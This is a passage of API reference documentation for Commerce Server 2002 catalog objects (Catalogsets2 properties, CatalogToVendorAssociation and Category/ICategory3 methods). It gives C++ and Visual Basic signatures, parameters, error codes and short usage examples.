The UserObjectJoinKey property is a read/write String that contains the join key of the user object. This property defaults to "user_id".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_UserObjectJoinKey(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_UserObjectJoinKey(
  BSTR UnNamedParameter
);
[Visual Basic]
Property UserObjectJoinKey As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the UserObjectJoinKey.
[out, retval] When getting the property, a BSTR used to return the UserObjectJoinKey.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_UserObjectName, put_UserObjectName Property [C++]

Catalogsets2.UserObjectName Property [Visual Basic]

The UserObjectName property is a read/write String that contains the name of the user object. This property defaults to "UserObject".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_UserObjectName(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_UserObjectName(
  BSTR UnNamedParameter
);
[Visual Basic]
Property UserObjectName As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the UserObjectName.
[out, retval] When getting the property, a BSTR used to return the UserObjectName.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_UserObjectOrganizationKey, put_UserObjectOrganizationKey Property [C++]

Catalogsets2.UserObjectOrganizationKey Property [Visual Basic]

The UserObjectOrganizationKey property is a read/write String that contains the organization key of the user object. This property defaults to "org_id".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_UserObjectOrganizationKey(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_UserObjectOrganizationKey(
  BSTR UnNamedParameter
);
[Visual Basic]
Property UserObjectOrganizationKey As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the UserObjectOrganizationKey.
[out, retval] When getting the property, a BSTR used to return the UserObjectOrganizationKey.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


CatalogToVendorAssociation Object [C++]

CatalogToVendorAssociation Object [Visual Basic]

Use this object to associate catalogs with vendors.

ProgID: | Commerce.CatalogToVendorAssociation (Externally creatable)
COM Class Name: | CatalogToVendorAssociation
Type Library Name: | Microsoft Commerce 2002 Catalog Vendor Association Type Library
DLL Name: | CatalogVendorAssociation.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _CatalogToVendorAssociation
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _CatalogToVendorAssociation interface to access the properties and methods of the CatalogToVendorAssociation object.

Methods

[C++]
Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.
[Visual Basic]
Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.


_CatalogToVendorAssociation Method [C++]

_CatalogToVendorAssociation Method [Visual Basic]

Methods

[C++]
Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.
[Visual Basic]
Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.


_CatalogToVendorAssociation::GetVendorInfoForCatalog Method [C++]

CatalogToVendorAssociation.GetVendorInfoForCatalog Method [Visual Basic]

Use this method to retrieve information about the vendor associated with the specified catalog.

Definition

[C++]
HRESULT _CatalogToVendorAssociation::GetVendorInfoForCatalog(
  BSTR szCatalogID,
  _Recordset** rsVendorInfo
);
[Visual Basic]
Function GetVendorInfoForCatalog(
  szCatalogID As String
) As Recordset

Parameters

szCatalogID [C++]
[in] A BSTR that contains the ID of the catalog for which vendor information will be returned.
szCatalogID [Visual Basic]
A String that contains the ID of the catalog for which vendor information will be returned.
rsVendorInfo [C++]
[out, retval] The address of a pointer used to return an ADO _Recordset object containing the requested vendor information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object containing the requested vendor information.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The returned ADO RecordSet object will contain valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
set rsVendorInfo = myCatalogToVendorAssociation.GetVendorInfoForCatalog(szCatalogID)

See Also

[C++] CatalogToVendorAssociation Object

[Visual Basic] CatalogToVendorAssociation Object


_CatalogToVendorAssociation::GetVendorList Method [C++]

CatalogToVendorAssociation.GetVendorList Method [Visual Basic]

Use this method to retrieve a list of vendors associated with the passed alias qualifier and value, and associated with the input document name.

Definition

[C++]
HRESULT _CatalogToVendorAssociation::GetVendorList(
  BSTR szSourceAliasQualifier,
  BSTR szSourceAliasValue,
  BSTR szInputDocumentName,
  _Recordset** rsVendorList
);
[Visual Basic]
Function GetVendorList(
  szSourceAliasQualifier As String,
  szSourceAliasValue As String,
  szInputDocumentName As String
) As Recordset

Parameters

szSourceAliasQualifier [C++]
[in] A BSTR that contains the source alias qualifier.
szSourceAliasQualifier [Visual Basic]
A String that contains the source alias qualifier.
szSourceAliasValue [C++]
[in] A BSTR that contains the source alias value.
szSourceAliasValue [Visual Basic]
A String that contains the source alias value.
szInputDocumentName [C++]
[in] A BSTR that contains the input document name.
szInputDocumentName [Visual Basic]
A String that contains the input document name.
rsVendorList [C++]
[out, retval] The address of a pointer used to return an ADO _Recordset object containing the requested list of vendors.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object containing the requested list of vendors.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The returned ADO RecordSet object will contain valid data only if the method completed successfully.

Note

  • This method is only available when BizTalk Server is installed. It requires the BizTalKDBInternal object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
set rsVendorList = myCatalogToVendorAssociation.GetVendorList(szSourceAliasQualifier, szSourceAliasValue, szInputDocumentName)

See Also

[C++] CatalogToVendorAssociation Object

[Visual Basic] CatalogToVendorAssociation Object


_CatalogToVendorAssociation::Initialize Method [C++]

CatalogToVendorAssociation.Initialize Method [Visual Basic]

Use this method to initialize a CatalogToVendorAssociation object.

Definition

[C++]
HRESULT _CatalogToVendorAssociation::Initialize(
  BSTR vConnectionString
);
[Visual Basic]
Sub Initialize(
  vConnectionString As String
)

Parameters

vConnectionString [C++]
[in] A BSTR that contains the connection string for the database containing the catalog to vendor associations.
vConnectionString [Visual Basic]
A String that contains the connection string for the database containing the catalog to vendor associations.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
myCatalogToVendorAssociation.Initialize vConnectionString

See Also

[C++] CatalogToVendorAssociation Object

[Visual Basic] CatalogToVendorAssociation Object


_CatalogToVendorAssociation::SpecifyVendorForCatalog Method [C++]

CatalogToVendorAssociation.SpecifyVendorForCatalog Method [Visual Basic]

Use this method to associate a vendor with a particular catalog.

Definition

[C++]
HRESULT _CatalogToVendorAssociation::SpecifyVendorForCatalog(
  BSTR szCatalogID,
  BSTR szVendorQualifier,
  BSTR szVendorQualifierValue,
  BSTR szVendorName
);
[Visual Basic]
Sub SpecifyVendorForCatalog(
  szCatalogID As String,
  szVendorQualifier As String,
  szVendorQualifierValue As String,
  szVendorName As String
)

Parameters

szCatalogID [C++]
[in] A BSTR that contains the identifier of the catalog with which to associated the specified vendors.
szCatalogID [Visual Basic]
A String that contains the identifier of the catalog with which to associated the specified vendors.
szVendorQualifier [C++]
[in] A BSTR that contains the qualifier of the vendor to be associated with the specified catalog.
szVendorQualifier [Visual Basic]
A String that contains the qualifier of the vendor to be associated with the specified catalog.
szVendorQualifierValue [C++]
[in] A BSTR that contains the qualifier value of the vendor to be associated with the specified catalog.
szVendorQualifierValue [Visual Basic]
A String that contains the qualifier value of the vendor to be associated with the specified catalog.
szVendorName [C++]
[in] A BSTR that contains the name of the vendor to be associated with the specified catalog.
szVendorName [Visual Basic]
A String that contains the name of the vendor to be associated with the specified catalog.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
myCatalogToVendorAssociation.SpecifyVendorForCatalog szCatalogID, szVendorQualifier, szVendorQualifierValue, szVendorName

See Also

[C++] CatalogToVendorAssociation Object

[Visual Basic] CatalogToVendorAssociation Object


_CatalogToVendorAssociation::UnspecifyVendorForCatalog Method [C++]

CatalogToVendorAssociation.UnspecifyVendorForCatalog Method [Visual Basic]

Use this method to disassociate a catalog with any previously associated vendors.

Definition

[C++]
HRESULT _CatalogToVendorAssociation::UnspecifyVendorForCatalog(
  BSTR szCatalogID
);
[Visual Basic]
Sub UnspecifyVendorForCatalog(
  szCatalogID As String
)

Parameters

szCatalogID [C++]
[in] A BSTR that contains the identifier of the catalog for which no vendors should be associated.
szCatalogID [Visual Basic]
A String that contains the identifier of the catalog for which no vendors should be associated.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
myCatalogToVendorAssociation.UnspecifyVendorForCatalog szCatalogID

See Also

[C++] CatalogToVendorAssociation Object

[Visual Basic] CatalogToVendorAssociation Object


Category Object [C++]

Category Object [Visual Basic]

Use this object to work with relationships between categories and products. You can also use this object to manipulate parent/child relationships for a category.

ProgID: | Dependent (See Remarks for more information)
COM Class Name: | Category
Type Library Name: | Microsoft Commerce 2002 Catalog Type Library
DLL Name: | Catalog.dll
Threading Model: | Both
[C++]
COM Interface Name: | ICategory3
Interface ID Constant: | IID_ICategory3
Header File: | Catalog.h, mspu_guids.h
[C++]

In C++, use the ICategory3 interface to access the properties and methods of the Category object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
Search | Searches product, variant, and category data within the category, its children, the children of the children,and so on.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
[Visual Basic]
Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
Search | Searches product, variant, and category data within the category, its children, the children of the children,and so on.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.

Properties

[C++]
Property | Type | Description
AncestorCategories | _Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category in the hierarchy. This property is read-only.
CatalogName | BSTR | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | BSTR | Contains the name of this category. This property is read-only.
ChildCategories | _Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
DescendantProducts | _Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | _Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | _Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | _Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | _Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | _Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.
[Visual Basic]
Property | Type | Description
AncestorCategories | Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category, in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | BSTR | Contains the name of this category. This property is read-only.
ChildCategories | Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
DescendantProducts | Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.

Remarks

[C++]

The Category object is a dependent object. Obtain a pointer to the ICategory interface by calling one of the following methods:

  • IProductCatalog::CreateCategory
  • IProductCatalog::GetCategory
[Visual Basic]

The Category object is a dependent object. Obtain a reference to it by calling one of the following methods:

  • ProductCatalog.CreateCategory
  • ProductCatalog.GetCategory


ICategory3 Methods [C++]

Category Methods [Visual Basic]

Methods

[C++]
Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
Search | Searches product, variant, and category data within the category, its children, the children of the children,and so on.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
[Visual Basic]
Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
Search | Searches product, variant, and category data within the category, its children, the children of the children,and so on.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.


ICategory3::AddChildCategory Method [C++]

Category.AddChildCategory Method [Visual Basic]

Use this method to add a category as a child to this category.

Definition

[C++]
HRESULT ICategory3::AddChildCategory(
  BSTR strCategoryName
);
[Visual Basic]
Sub AddChildCategory(
  strCategoryName As String
)

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be added as a child to this category.
strCategoryName [Visual Basic]
A String that contains the name of the category to be added as a child to this category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_INVALID_CHILDCATEGORY | [C++] 0x8898005D [Visual Basic] &H8898005D | An invalid relationship has been specified. The category that you specified already exists as a parent of this category.
E_CAT_CATEGORY_ALREADY_ADDED | [C++] 0x8898002D [Visual Basic] &H8898002D | The category you specified is already added.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.AddChildCategory "shirts"

See Also

[C++] Category Object

[C++] ICategory3::AddParentCategory

[C++] ICategory3::RemoveChildCategory

[Visual Basic] Category Object

[Visual Basic] Category.AddParentCategory

[Visual Basic] Category.RemoveChildCategory


ICategory3::AddParentCategory Method [C++]

Category.AddParentCategory Method [Visual Basic]

Use this method to add the specified category as a parent of this category.

Definition

[C++]
HRESULT ICategory3::AddParentCategory(
  BSTR strCategoryName
);
[Visual Basic]
Sub AddParentCategory(
  strCategoryName As String
)

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be added as a parent to this category.
strCategoryName [Visual Basic]
A String that contains the name of the category to be added as a parent to this category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_CATEGORY_ALREADY_ADDED | [C++] 0x8898002D [Visual Basic] &H8898002D | The category you specified is already added.
E_CAT_PARENT_CAT_EXISTS_AS_CHILD | [C++] 0x88980052 [Visual Basic] &H88980052 | The category that you specified as a Parent category already exists as a child category for this category.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.AddParentCategory "Apparel"

See Also

[C++] Category Object

[C++] ICategory3::AddChildCategory

[C++] ICategory3::RemoveParentCategory

[Visual Basic] Category Object

[Visual Basic] Category.AddChildCategory

[Visual Basic] Category.RemoveParentCategory


ICategory3::AddProduct Method [C++]

Category.AddProduct Method [Visual Basic]

Use this method to add the specified product to this category.

Definition

[C++]
HRESULT ICategory3::AddProduct(
  VARIANT varProductID
);
[Visual Basic]
Sub AddProduct(
  varProductID As Variant
)

Parameters

varProductID [C++]
[in] A VARIANT that contains the product ID of the product to be added.
varProductID [Visual Basic]
A Variant that contains the product ID of the product to be added.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the ProductID is either out of range or else it does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_PRODUCT_ALREADY_ADDED | [C++] 0x88980029 [Visual Basic] &H88980029 | The product you specified is already present in this category.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A product may exist in multiple categories simultaneously, without limit.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.AddProduct "SKU4005"

See Also

[C++] Category Object

[C++] ICategory3::RemoveProduct

[Visual Basic] Category Object

[Visual Basic] Category.RemoveProduct


ICategory3::AddRelationshipToCategory Method [C++]

Category.AddRelationshipToCategory Method [Visual Basic]

Use this method to add a relationship from this category to another specified category.

Definition

[C++]
HRESULT ICategory3::AddRelationshipToCategory(
  BSTR strRelatedCategoryName,
  BSTR strRelationshipName,
  VARIANT strRelationshipDescription,
  BSTR strCatalogName
);
[Visual Basic]
Sub AddRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String,
  Optional strRelationshipDescription As Variant,
  Optional strCatalogName As String
)

Parameters

strRelatedCategoryName [C++]
[in] A BSTR that contains the name of the category to which a relationship is to be added.
strRelatedCategoryName [Visual Basic]
A String that contains the name of the category to which a relationship is to be added.
strRelationshipName [C++]
[in] A BSTR that contains a name for the relationship.
strRelationshipName [Visual Basic]
A String that contains a name for the relationship.
strRelationshipDescription [C++]
[in, optional] A VARIANT of sub type String that contains an optional description for the relationship.
strRelationshipDescription [Visual Basic]
A Variant of sub type String that contains an optional description for the relationship.
strCatalogName [C++]
[in, optional] A BSTR that contains the name of the catalog that contains the related category.
strCatalogName [Visual Basic]
A String that contains the name of the catalog that contains the related category.

Return Values

